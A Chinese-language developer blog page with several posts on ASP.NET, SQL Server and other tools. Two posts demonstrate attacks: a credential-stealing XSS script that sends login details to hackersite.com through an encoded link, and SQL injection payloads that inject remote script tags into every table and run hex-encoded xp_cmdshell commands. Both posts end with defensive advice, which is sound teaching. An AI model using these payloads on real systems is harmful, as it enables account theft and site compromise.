如何對組態區段加密

0 comments
在 ASP.NET 2.0 中,你可以用 Configuration APIs 對 web.config 中的敏感性資訊(如使用者名稱、密碼、連線字串和加密金鑰等)進行加密保護,以提升應用程式的安全性。不過,你可以使用更簡單的 Aspnet_regiis.exe 工具來完成加密處理。當要求網頁時,ASP.NET 會自行將加密的組態資訊解密,讓應用程式使用。所以,你不需要撰寫額外的程式碼來讀取加密過的組態資訊。

接下來,將以 connectionStrings 區段為例,提供逐步指引來說明如何使用 Aspnet_regiis.exe 加密組態資訊。

  1. 先將 ASP.NET 應用程式檔案部署到 Web 實際執行伺服器(Production Server)。
  2. 在 IIS 中建立 ASP.NET 網站:
    1. 打開 IIS 管理主控台。
    2. 展開本機電腦節點,接著展開 [網站],建立新的網站。
    3. 點選 [ASP.NET] 頁簽,將 ASP.NET 版本設為 2.0.*。若無該頁簽,則到 [主目錄] 頁簽,按下 [設定] 按鈕,在 [對應] 索引標籤上,將 ASP.NET 相關應用程式副檔名對應的應用程式指向 %WINDIR%\Microsoft.NET\Framework\v2.0.*\aspnet_isapi.dll。
  3. 建立 RSA 金鑰容器(Key Container):
    1. 打開 Web 應用程式根目錄的 web.config,修改成實際執行的連線字串。
    2. 在 [執行] 對話方塊中的 [開啟] 方塊中,鍵入 cmd,然後按下 [確定] 。
    3. 建立名為 NetFrameworkConfigurationKey 的電腦層級 RSA 金鑰容器,請在命令提示字元中執行下列命令:
      %WINDIR%\Microsoft.NET\Framework\v2.0.*\aspnet_regiis.exe -pc "NetFrameworkConfigurationKey" -exp
    4. 授予 ASP.NET 使用者識別(在 Windows Server 2003 的電腦上,預設為 NETWORK SERVICE 帳戶)能讀取這個金鑰容器的權限,請執行下列命令:
      C:\WINDOWS\Microsoft.NET\Framework\v2.0.*\aspnet_regiis.exe -pa "NetFrameworkConfigurationKey" "NT AUTHORITY\NETWORK SERVICE"
  4. 加密 connectionStrings 區段:
    1. 請在命令提示字元中執行下列命令:
      C:\WINDOWS\Microsoft.NET\Framework\v2.0.*\aspnet_regiis.exe -pef connectionStrings %路徑%
    2. 如果需要修改連線字串,可以用如下的指令解密:
      C:\WINDOWS\Microsoft.NET\Framework\v2.0.*\aspnet_regiis.exe -pdf connectionStrings %路徑%

參考資料:
逐步解說:使用受保護的組態加密組態資訊 by Microsoft
逐步解說:建立和匯出 RSA 金鑰容器 by Microsoft

繼續閱讀...

Response.End() Exceptions in ASP.NET

1 comments
如果你在 ASP.NET 使用 Response.End 時,就會發生ThreadAbortException 例外狀況。舉例來說,當你在 try - catch 陳述式中,呼叫 Response.End 時,就會引發例外狀況:「System.Threading.ThreadAbortException: 執行緒已經中止」。

其實,當你使用 Response.End 方法時,會因為內部呼叫 Thread.Abort() 而引發 ThreadAbortException 的例外,停止網頁的執行,略過 Response.End 以下的程式碼,並將緩衝輸出的資料傳送到用戶端,然後才直接觸發 HTTP 管線(HTTP Pipelines)的執行鏈結裡的最後一個事件,也就是 HttpApplication.EndRequest 事件。而使用 Response.Redirect 或是 Server.Transfer 也會發生這種例外,因為這兩個方法都會在內部呼叫 Response.End 方法。

解決方案
當了解事實真相後,問題就已不再是"問題"了,而是端看你如何正確的應用。事實上,你無須介入處理 Response.End 所引發的例外狀況,也就是不要把 Response.End 放在 try 區塊中,況且使用 try - catch 陳述式也會比較消耗系統資源,應該斟酌使用。想了解更多例外狀況有關的效能問題,可以參考這裡這裡

如果你需要在執行 Response.End、Response.Redirect 或 Server.Transfer 方法之後,仍能繼續執行程式碼,可使用下列作法:
  • 使用 HttpContext.Current.ApplicationInstance.CompleteRequest 方法取代 Response.End 。
  • 對於 Response.Redirect(url),使用 Response.Redirect(url, false),要求不要結束目前網頁的執行,也就是呼叫 Response.End 方法。
  • 使用 Server.Execute 方法代替 Server.Transfer。

HttpApplication.CompleteRequest 跟 Response.End 有何不同呢?
對於 HttpApplication.CompleteRequest 的用途,在 MSDN 文件所得到的解釋如下:
造成 ASP.NET 略過 HTTP 管線的執行鏈結裡的所有事件和篩選,並且直接執行 EndRequest 事件。
事實上,如果你是在網頁的 Page_Load 事件處理常式中執行 HttpApplication.CompleteRequest 的話,ASP.NET 仍會處理完 PostBack 所引發的事件,然後才略過其他事件而直接執行 Application_EndRequest 事件。但同樣的狀況,若是改用 Response.End,就會直接結束目前網頁執行,而無法處理 PostBack 所引發的事件。想了解更多關於應用程式與網頁的事件觸發順序,可以參考這裡

參考文章:
PRB: ThreadAbortException Occurs If You Use Response.End, Response.Redirect, or Server.Transfer by Microsoft
Response.Redirect(url) ThreadAbortException Solution by John S. Reid

繼續閱讀...

Open Source E-Commerce Software Resources

3 comments
最近正著手電子商務網站的建置計畫,事先蒐集許多相關的參考資源,發現有許多免費且開放原始碼(Open Source)的電子商務軟體,而且許多已發展相當成熟。在開放原始碼基礎上,開發人員可以在短時間內做出符合企業的電子商務網站,大幅降低開發成本。在這裡,我整理了近期蒐集的開放原始碼電子商務軟體的相關資訊,有興趣的朋友不妨參考看看。

osCommerce
osCommerce 是一套使用 PHP 撰寫的網路購物系統平台。採用模組化系統設計,讓你可以按照實際的需要來加掛不同的模組,建置自己專屬的購物網站。
程式語言: PHP
軟體授權: GNU General Public License (GPL)
官方網站: http://www.oscommerce.com/
中文社群網站: http://osc.kmd.com.tw/
展示網站: http://demo.oscommerce.com/
原始碼下載: http://www.oscommerce.com/solutions/downloads

xt:Commerce
xt:Commerce 是延伸 osCommerce 的基礎架構,所發展的電子商務系統。
程式語言: PHP
軟體授權: GNU General Public License (GPL)
官方網站: http://www.xt-commerce.com/
展示網站: http://www.xtc-demo.de/index.php/language/tw

TWE-Commerce
TWE-Commerce 是一個以 osCommerce 及 xt:Commerce 為基礎架構的購物平台。
程式語言: PHP
軟體授權: GNU General Public License (GPL)
官方網站:http://www.twecommerce.org/
展示網站:http://twe23.oldpa.com.tw/

Freeway
Freeway 是一套功能功能相當完整且強大的電子商務系統,除了一般商品銷售外,還可以銷售門票、虛擬商品。
程式語言: PHP
軟體授權: GNU General Public License (GPL)
官方網站: http://www.openfreeway.org/
展示網站: http://www.openfreeway.org/demo.html
原始碼下載: http://www.openfreeway.org/download.html

Drupal e-Commerce
Drupal e-Commerce 是適用在 Drupal 內容管理系統的電子商務模組,其功能相當完整,包括:庫存管理、交易和付款流程、可以外掛付款和送貨模組、發票與送貨通知、交易報表與銷售統計等,甚至還可以可以運用拍賣模組,建立拍賣網站。
程式語言: PHP
軟體授權: GNU General Public License (GPL)
官方網站: http://www.drupalecommerce.org/
中文支援網站: http://drupaltaiwan.org/module/e_commerce
主程式下載: http://drupal.org/download
模組下載:http://drupal.org/project/ecommerce

ASP.NET Starter Kit - Commerce Starter Kit
ASP.NET Starter Kit(ASP.NET入門套件)是微軟提供的免費且開放原始碼的軟體,可拿來做為開發各種 Web 應用程式的骨架範本。在 ASP.NET Starter Kit 中也包含了 Commerce Starter Kit(電子商務入門套件)可以輕鬆建構一個購物網站。
程式語言: ASP.NET, VB.NET, C#, J#
官方網站: http://www.asp.net/downloads/archived/starter-kits/
原始碼下載: http://www.asp.net/downloads/archived/starter-kits/commerce/

StoreNuke.Net
使用 Commerce Starter Kit(電子商務入門套件)為基礎架構的電子商務系統。
程式語言: ASP.NET, C#
官方網站: http://www.storenuke.net/
原始碼下載: http://sourceforge.net/projects/storenuke-net/

DotShoppingcart
DotShoppingcart 是一套用於電子商務的網站內容管理系統,提供動態編輯網頁內容的能力。除了免費版本外,亦有付費版本可供選擇。
程式語言: ASP.NET, C#
軟體授權: DotShoppingCart Public License (DPL) 1.0
官方網站: http://www.dotshoppingcart.com/
原始碼下載: http://www.dotshoppingcart.com/Page/Community/Download.aspx
示範影片: http://www.dotshoppingcart.com/Page/DemoVideos.aspx

Comersus Cart
Comersus Cart 是使用 ASP 開發的開放原始碼的軟體,除了免費版本外,亦有其他功能完整的付費版本可供選擇。
程式語言: ASP
軟體授權: Comersus Shopping Cart Software License
官方網站: http://www.comersus.com/
原始碼下載: http://www.comersus.com/download.html
展示網站: http://www.comersus.com/demo.html

繼續閱讀...

網路釣魚實例 - 結合 XSS 攻擊

0 comments
所謂網路釣魚(phishing)是駭客透過垃圾郵件發送與合法網站相仿的寄件人及郵件內容,提供偽裝 (spoofing)的連結,誘騙使用者到進入其偽裝的網站,藉以騙取個人帳號及密碼。其實,要辨識這樣的偽裝連結並不難,你可以先將滑鼠移到連結上,留意瀏覽器左下方的狀態列所顯示的真正網址,就能辨其真偽。但本文接下來要介紹的是比這類詐騙郵件更為狡猾的網路釣魚攻擊,是一種與跨網站指令碼 (Cross-site scripting,簡稱為 XSS) 搭配組合的攻擊模式,讓人防不勝防。此攻擊模式是利用存在 XSS 弱點的網站,在其官方網址的參數欄位動手腳加入經編碼的惡意程式,讓使用者誤信這是該網站所提供的網址,而不自覺地落入駭客惡意設下的圈套。

Phishing 與 XSS 搭配攻擊
假設有個受信任的網站 trustedsite.com,其登入網頁的部份原始碼如下:
<-- Hypothetical login.php page -->
...
<?php echo $_REQUEST["msg"]; ?>
<form method="post" action="loginDone.php">
Username:<input type="text" name="username" maxlength="16"><br>
Password:<input type="text" name="pass" maxlength="16"><br>
<input type="submit" value="Login"><br>
<input type="hidden" name="returnUrl" value="<?php echo $_REQUEST["returnUrl"]; ?>">
</form>
...

當匿名使用者要求檢視個人資料的網頁時,會被系統自動導向到登入網頁,其網址如下:
http://trustedsite.com/login.php?msg=Please+Sign+In+to+View+this+Profile&returnUrl=myProfile.php

在沒有過濾字元的情況下,透過網址的傳遞參數注入如下所示的 HTML 標籤及指令碼:
login.php?msg=<script>alert('Vulnerable!');</scrpt>
&returnUrl="><script>alert('Vulnerable!');</scrpt><input type="hidden

並重新發出 HTTP 請求,便會得到如下的 HTML 輸出內容,並觸發注入的指命碼:
...
<script>alert('Vulnerable!');</scrpt>
<form method="post" action="loginDone.asp">
Username:<input type="text" name="username" maxlength="16"><br>
Password:<input type="text" name="pass" maxlength="16"><br>
<input type="submit" value="Login"><br>
<input type="hidden" name="returnUrl" value=""><script>alert('Vulnerable!');</scrpt><input type="hidden">
</form>
...



根據 XSS 攻擊原理,只要存在 XSS 漏洞的網頁程式就能順利執行惡意程式碼。以下是針對 trustedsite.com 登入網頁,所設計的攻擊指命碼:
/* phishing.js */
var userslogin = document.forms[0];
userslogin.onsubmit = function() {
var iframe = document.createElement("iframe");
iframe.style.display = "none";
iframe.src = "http://hackersite.com/stealLogin.php?user=" + userslogin.username.value + "&pass=" + userslogin.pass.value;
document.body.appendChild(iframe);
};

並將登入網址重新設計如下:
http://trustedsite.com/login.php?msg=<script src="http://hackersite.com/phishing.js"></script>

為衍人耳目,駭客會刻意將注入的 HTML 標籤及指令碼字串編碼,如下所示:
http://trustedsite.com/login.php?msg=%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%68%61%63%6B%65%72%73%69%74%65%2E%63%6F%6D%2F%70%68%69%73%68%69%6E%67%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E

接著只要利用 E-Mail 或者在網路上發佈此連結,誘騙使用者點選此連結登入,使用者帳號及密碼就會自動"異地備份"到駭客手上了。

如何防範
一般使用者不論是在電子郵件、即時通訊軟體或是一般網頁中點選連結時,應提高警覺,留心可疑的過長連結,尤其是連續性冗長的編碼的字串更應避而遠之。

至於,對 XSS 漏洞的防範,在這裡提供幾點建議供 Web 開發人員參考:
  1. 對使用 HTTP GET 方法傳遞的資料,加入防竄改(tamper-proof)機制。有關如何實作 URL tamper-proof 的詳細資訊可參考這裡
  2. 檢查使用者的任何輸入資訊,包含查詢字串、Cookie 或表單欄位,並拒絕任何具危害性的 HTML 標籤。如果你的網頁允許輸入 HTML 資料,也應該限制只允許輸入特定的 HTML 標籤。
  3. 使用 HTML 編碼輸出使用者的輸入資訊。


相關資源:
Passing Tamper-Proof QueryString Parameters by Scott Mitchell

參考文章:
Applying XSS to Phishing Attacks by Nexus

繼續閱讀...

SQL Injection 攻擊實例與防範之道

0 comments
根據近日新聞報導,2008 年四月底開始,在歐美陸續發生資料隱碼(SQL Injection)攻擊事件,最近已蔓延到台灣。在這波攻擊中,台灣已有無數網站受害,大家實在不可不慎。

本文將以微軟的 SQL Server 為背景,並模擬實作這次攻擊事件的 SQL 隱碼來做示範。希望能提供各位對資料隱碼攻擊的方式及原理,有基本認識與警惕。

試想,如果要攻擊一個網站該從何著手呢?首先,我們可以透過要求應用程式的表單輸入欄位或是 HTTP 查詢字串,來尋找可能的程式漏洞。當我們嘗試對應用程式要求含有單引號的表單輸入資訊或是 HTTP 查詢字串,並得到「內部伺服器錯誤」,那就幾乎可以篤定這個應用程式接受來自任何使用者的輸入,而且是藉由串連字串執行 SQL 命令。我們假設伺服器端執行的程式碼如下:
SELECT select_list FROM table_source WHERE column_name = 'anything'';

當程式因為執行語法錯誤的 SQL 陳述式而引發未處理的例外狀況時,無疑也透露程式可能潛在的資料隱碼弱點。這時只要使用查詢分隔符號(;)註解分隔符號(--),就可將惡意程式碼插入字串中,並組合成有效的 SQL 陳述式。以下範例會在預設的資料庫中,植入惡意連結到所有資料表中的長字串欄位:
SELECT select_list FROM table_source WHERE column_name = '';
declare object_cursor cursor
for
select name, id from sysobjects where xtype='U' and category = 0
open object_cursor
declare @stmt nvarchar(4000),@objec_name nvarchar(128), @object_id int, @column_name nvarchar(128)
fetch next from object_cursor into @objec_name, @object_id
while @@fetch_status = 0
begin
declare column_cursor cursor
for
select name from syscolumns where id = @object_id and length >= 255 and xtype in (167,231)
open column_cursor fetch next from column_cursor into @column_name
if @@fetch_status = 0
begin
set @stmt = 'update ' + @objec_name + ' set '
while @@fetch_status = 0
begin
set @stmt = @stmt + @column_name + '=' + @column_name + '+''<script src=''''http://example.com/s.js''''></script>'','
fetch next from column_cursor into @column_name
end
set @stmt = left(@stmt, len(@stmt)-1)
exec( @stmt )
end
close column_cursor
deallocate column_cursor
fetch next from object_cursor into @objec_name, @object_id
end
close object_cursor
deallocate object_cursor--
'


From xkcd

如果你認為只要過濾單引號,就可以防範未然,那就錯了。以下範例將利用 xp_cmdshell 執行以 Hex 編碼轉換後的命令字串,將 sysobjects 資料表輸出至 c:\inetpub\wwwroot\ 目錄:
SELECT select_list FROM table_source WHERE column_name = anynumber;
declare @s varchar(255)
select @s=0x626370206d61737465722e2e7379736f626a65637473206f757420633a5c696e65747075625c777777726f6f745c7379736f626a656374732e747874202d63202d557361202d50
exec master..xp_cmdshell @s


如果連單引號跟空白字元都被拒絕輸入呢?以下範例使用註解分隔符號(/**/)替代空白字元依舊可以產生有效的陳述式:
SELECT select_list FROM table_source WHERE column_name = anynumber;
declare/*Avoiding space*/@s/**/varchar(255)/**/
select/**/@s=0x626370206d61737465722e2e7379736f626a65637473206f757420633a5c696e65747075625c777777726f6f745c7379736f626a656374732e747874202d63202d557361202d50/**/
exec/**/master..xp_cmdshell/**/@s


如何防範
  1. 不要信任來自使用者的資訊,包括查詢字串、表單變數以及 cookie 值都必須進行驗證及過濾。
  2. 使用參數型命令查詢取代用字串串連的方式建立 SQL 查詢。
  3. 對遠端永遠都使用自訂錯誤訊息網頁,防止內部伺服器錯誤的詳細錯誤資訊洩露在客戶端。
  4. 應用程式所使用的資料庫帳戶,盡可能給予所需的最低權限存取資料庫。

參數命令查詢範例
在 ASP.NET 很多人習慣用以下方式建立 SQL 查詢:
string cmdText = string.Format("SELECT * FROM Users " +
"WHERE username='{0}'", username);
SqlCommand cmd = new SqlCommand(cmdText, conn);

基於安全考量,你應該使用參數型命令查詢。如以下範例:
string cmdText = "SELECT * FROM Users " +
"WHERE Username LIKE @username";
SqlCommand cmd = new SqlCommand(cmdText, conn);
cmd.Parameters.AddWithValue("@username", txtSearch.Text + "%");
SqlDataReader sdr = cmd.ExecuteReader();

當使用者輸入搜尋字串 "someone" 時,ADO.NET 會提交以下如下查詢命令給 SQL Server:
exec sp_executesql N'SELECT * FROM Users WHERE Username LIKE @username',N'@username nvarchar(8)',@username=N'someone%'

但萬一是輸入以下的惡意字串:
'; DROP TABLE Users --

則會產生以下查詢陳述式:
exec sp_executesql N'SELECT * FROM Users WHERE Username LIKE @username',N'@username nvarchar(23)',@username=N'''; DROP TABLE Users --%'

由此可見 ADO.NET 會自動使用兩個單引號置換內嵌的單引號,所以輸入資料永遠被視為字串常數,而非串連成動態 SQL 指令的字串。

善用規則運算式(Regular Expressions)
如果你非要用字串串連的方式建立 SQL 查詢的話,你就要自己篩選輸入資料。以下範例使用規則運算式過濾特殊字元及部份關鍵字:
string inputString = txtSearch.Text;
inputString = Regex.Replace(inputString, @"\b(exec(ute)?|select|update|insert|delete|drop|create)\b|[;']|(-{2})|(/\*.*\*/)", string.Empty, RegexOptions.IgnoreCase);

請注意,如果是使用 LIKE 來執行字串比較,即便是使用參數型命令,你仍需要逸出萬用字元:
Regex re = new Regex(@"(?<EscapeChar>[\[\%_])");
inputString = re.Replace(inputString, "[${EscapeChar}]");

有關 LIKE 語法的詳細資訊,請參考這裡

參考文章:
SQL Injection Attacks by Example by Steve
SQL 資料隱碼 by Microsoft

繼續閱讀...

為你的 Blogger 加入書籤按鈕

14 comments
現在有許多好用的外掛程式可以幫您的 Blogger 加上多個書籤按鈕,尤其像是 AddThisShareThis,更是集合各種社交書籤,且功能更為完整。可惜的是這些好用的外掛程式普遍都沒有支援國內的書籤網站(例如 Hemidemi、My Share 等),有感於此,於是自己才著手寫了這個支援國內書籤按鈕的外掛程式,而且只需要幾個簡單的步驟及少量的 DHTML 程式碼即可完成安裝。

接下來將以 Blogger 新的網頁範本格式(XML)來說明安裝步驟:

1. 進入 Blogger 的管理介面,在[版面配置]點選[修改HTML],並勾選[展開小裝置範本]。

2. 在 <b:skin> 區段中加入以下 CSS 代碼:
.social-button { 
border: 0;
padding: 1px;
width: 16px;
height: 16px;
opacity: .5;
-moz-opacity: .5;
filter: alpha(opacity=50);
}
.social-button:hover {
opacity: 1;
-moz-opacity: 1;
filter: alpha(opacity=100);
}

3. 找到如下的標籤代碼:
<p><data:post.body/></p>

並在其後加入以下程式碼:
<!-- Bookmark Button BEGIN -->
<div align='right'>
<script type='text/javascript'>
_bookmarkTitle = &#39;<data:post.title/>&#39;;
_bookmarkUrl = &#39;<data:post.url/>&#39;;
</script>
<script src='http://renjin.liu.googlepages.com/social_widget.js' type='text/javascript'/>
</div>
<!-- Bookmark Button END -->

4. 儲存範本、測試。



 Download Source Code

繼續閱讀...

如何使用 GridView 的分頁功能

0 comments
ASP.NET 2.0 的 GridView 控制項具有內建的分頁功能,只要透過 DataSourceID 屬性,指定支援直接分頁功能的資料來源控制項(如 SqlDataSource),並將 AllowPaging 屬性設定為 true,即可啟用分頁功能,而不需撰寫任何程式碼。

當使用 DataSourceID 屬性指定資料來源時,則資料控制項(Data-bound Control)就會在執行階段 (Run-Time)自動繫結資料來源控制項。相較於使用 DataSource 屬性,最大的不同就是你就必須明確呼叫 DataBind 方法來繫結資料來源。

所以,如果你是透過 GridView 控制項的 DataSource 屬性繫結資料來源,則當你移動 GridView 控制項的分頁時,便會引發如下的錯誤:
由 GridView 'GridView1' 引發但尚未處理的事件 PageIndexChanging。

這時你必須建立 GridView 控制項的 PageIndexChanging 事件處理常式,為 GridView 控制項指定使用者所選取之頁面的索引,並呼叫 DataBind 方法:
protected void GridView1_PageIndexChanging(object sender, GridViewPageEventArgs e)
{
GridView1.PageIndex = e.NewPageIndex;
GridView1.DataBind();
}

繼續閱讀...

如何使用 OpenDataSource 查詢文字檔

0 comments
OpenDataSource 提供了特定(Ad Hoc)連線資訊作為包含四個部份的物件名稱(Four-part Name)的一部份,而不需使用連結伺服器的名稱。四個部分的名稱一般用於分散式查詢,其格式如下:
linkedserver.catalog.schema.object_name

以下範例藉由 OLE DB Provider for Jet 來查詢文字檔 (test.txt):
select * from OpenDataSource('Microsoft.Jet.OLEDB.4.0', 'Data Source = C:\; Extended Properties = "Text;HDR=NO"')...test#txt

事實上 OpenDataSource 函數就位於前面提到的四個部份的物件名稱中的 linkedserver 位置,所以你應把它視為伺服器,而 test.txt 就是資料表。記得,因為逗點是物件識別名稱的一部份,所以你必須將檔名中的逗號使用 # 符號取代。

連線字串中的 Data Source 需指定來源檔案的所在目錄。Extended Properties 必須包含 Text;除此之外,你可以選擇性指定 HDR=NO 表示文字檔的第一列沒有包含欄位標題,這時 SQL Server 將會自動以 F1 、 F2 、 F3 ... 來命名資料欄位。以上面的查詢範例來說,只能針對以號分隔的文字檔輸出資料欄位,如果你需要查詢特定格式的資料,則必須在 Data Source 目錄下建立 Schema.ini 來指定查詢參數。有關如何建立 Schema.ini 檔的詳細資訊可以參考這裡

以下的 Schema.ini 範例,描述 test.txt 是使用 tab 分隔的文字檔:
[test.txt]
Format=TabDelimited
ColNameHeader=False
MaxScanRows=0
CharacterSet=ANSI

參考文章:
OPENDATASOURCE (Transact-SQL) by Microsoft
Schema.ini File (Text File Driver) by Microsoft

繼續閱讀...

Crystal Reports - 如何在交叉表加入總和百分比

6 comments
本文以 Crystal Reports XI 說明如何使用百分比摘要函數為交叉表加入總和百分比。以下將會逐步說明,帶你完成簡單的銷售報表。

新增報表
請在 Crystal Reports 新增空白報表,並在資料來源設定中,使用 SQL Server 範例資料庫 pubs 作為報表資料來源,並加入以下查詢命令:
SELECT 
stor_name, 'Qtr' + CAST(DATEPART(quarter,ord_date) AS CHAR) AS [quarter],
sum(qty) AS qty
FROM
sales INNER JOIN
stores ON sales.stor_id = stores.stor_id
WHERE YEAR(ord_date) = 1993
GROUP BY stor_name, 'Qtr' + CAST(DATEPART(quarter,ord_date) AS CHAR)

加入群組
在功能表中選擇 [插入]->[群組],分別插入 [命令.stor_name]、[命令.quarter] 兩個資料欄位作為群組依據。

建立公式欄位
建立一個名為 percent_of_total 的公式欄位,並輸入以下公式:
PercentOfSum({命令.qty},{命令.quarter})

加入交叉表
  1. 在功能表中選擇 [插入]->[交叉表...],將交叉表置於 [報表首],並按滑鼠右鍵點選功能表中的 [交叉表專家...]。
  2. 在 [交叉表專家] 視窗中,將交叉表 [可使用的欄位] 中的 [命令.stor_name]、[命令.quarter] 兩個資料欄位,分別加入交叉表的資料列及資料欄,並在摘要欄位加入 [命令.qty] 資料欄位及 [percent_of_total] 公式欄位。
  3. 在摘要欄位中點選 [@percent_of_total 的總和],接著按下位於下方的 [變更摘要...] 按鈕。
  4. 在[編輯摘要]視窗中,在[計算這個摘要]的下拉選單中選擇 [總和],在 [選項] 區段中,啟用從 [資料行] 來 [顯示成百分比]。
  5. 點選 [自訂樣式] 頁籤,在 [摘要欄位] 選項中,點選 [水平],並取消位於 [格線選項] 中 [資料行總和在上方] 及 [資料列總和在左邊] 核取方塊。
  6. 按下 [確定] 按鈕,關閉 [交叉表專家] 視窗。


最後,再隱藏不必要顯示的區段,報表就大致完成了。

繼續閱讀...

解決 ADO.NET 建立 Oracle 資料庫連線的問題

0 comments
當你在 ASP.NET 嘗試使用 System.Data.OleDb.OleDbConnection 來開啟 Oracle 資料庫連線時,可能會發生如下的錯誤訊息:
找不到 Oracle 用戶端及網路元件。這些元件由 Oracle 公司供應且為 Oracle 8i 以上版本用戶端軟體安裝的一部分。在安裝這些元件前您無法使用此提供者。

如果是使用 System.Data.OracleClient 則會發生如下的錯誤訊息:
System.Data.OracleClient requires Oracle client software version 8.1.7 or greater.

因為使用 .NET Framework Data Provider 存取 Oracle 資料庫,需要安裝 Oracle 用戶端軟體 8.1.7 版及更新版本。如果你是在未安裝 Oracle 用戶端軟體的情況下發生這樣的問題,你可以造訪 Oracle 官方網站,下載 Oracle Data Access Components (ODAC)。下載完成後,請執行安裝程式,並在安裝過程中選擇安裝 Oracle Data Provider for .NET。

若是在已安裝 Oracle 用戶端軟體的情況下,可能是 ORACLE_HOME 安裝在 Windows NTFS 磁碟分割區, 導致 ASP.NET 所使用的 Authenticated User 權限找不到 ORACLE_HOME 目錄,才導致這樣的錯誤。在 roytore 所發表的文章中,有提到針對此問題的解決作法:
  1. 以管理者身分登入 Windows。
  2. 使用檔案總管開啟 ORACLE_HOME 資料夾的內容對話盒,並點選 [安全性] 頁籤。
  3. 在群組或使用者清單中,點選 [Authenticated Users]。在下方權限清單中,取消 [讀取及執行] 項目的核取方塊,並按下 [套用]。
  4. 接著按下 [進階] 按鈕,確認 [Authenticated Users] 的權限是 [讀取及執行],且套用在 [這個資料夾,子資料夾及檔案]。
  5. 按下 [確定] 按鈕,直到關閉資料夾內容對話盒。
  6. 重新啟動 Windows。

相關下載:
Oracle Data Access Components (ODAC) Downloads

參考文章:
System.Data.OracleClient requires Oracle client software version 8.1.7 or greater.
by roytore

繼續閱讀...